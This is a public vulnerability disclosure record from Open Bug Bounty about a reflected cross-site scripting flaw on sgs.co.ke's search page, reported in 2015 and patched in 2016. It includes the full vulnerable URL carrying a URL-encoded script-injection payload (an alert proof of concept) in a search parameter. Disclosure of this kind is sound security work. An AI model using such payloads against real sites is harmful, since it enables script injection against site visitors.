Lucene search

K
openbugbountyBesafeCybersecurityOBB:88721
HistorySep 25, 2015 - 12:16 a.m.

sgs.co.ke XSS vulnerability

2015-09-2500:16:00
BesafeCybersecurity
www.openbugbounty.org
9
Vulnerable URL:
http://www.sgs.co.ke/en/SearchResults.aspx?N=4294967100&Ntk;=SI_EN-US_Kenya&Ntt;=\%22%3E%3Cscript%3Ealert%28%27XSSPOSED%27%29;%3C/script%3E&lb;=&dc;=http
Details:
Description Value
Patched: Yes, at 30.01.2016
Latest check for patch: 30.01.2016 22:56 GMT
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank 1678229
Google Pagerank 6
VIP website status: No
Check sgs.co.ke SSL connection: (Grade: F)
Coordinated Disclosure Timeline:
Description Value
Vulnerability reported 25 September, 2015 00:16 GMT
Vulnerability existence verified and confirmed 25 September, 2015 00:18 GMT
Vulnerability patched by the website owner 30 January, 2016 22:56 GMT